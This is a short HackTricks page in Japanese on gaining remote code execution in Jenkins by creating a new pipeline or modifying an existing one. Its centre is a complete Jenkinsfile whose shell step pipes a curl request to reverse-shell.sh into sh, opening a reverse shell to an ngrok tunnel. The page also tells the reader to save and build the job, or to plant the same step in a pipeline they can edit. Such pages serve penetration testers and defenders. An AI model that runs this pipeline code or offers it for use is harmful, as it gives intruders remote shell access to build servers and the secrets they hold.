Jenkins RCE Creating/Modifying Pipeline

Support HackTricks

新しいパイプラインの作成

「新しいアイテム」(/view/all/newJobでアクセス可能)でパイプラインを選択します:

パイプラインセクションリバースシェルを書きます:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

最終的に保存をクリックし、今すぐビルドをクリックすると、パイプラインが実行されます:

パイプラインの修正

構成ファイルにアクセスできるパイプラインがある場合は、リバースシェルを追加して修正し、その後実行するか、実行されるのを待つことができます。

HackTricksをサポートする

Last updated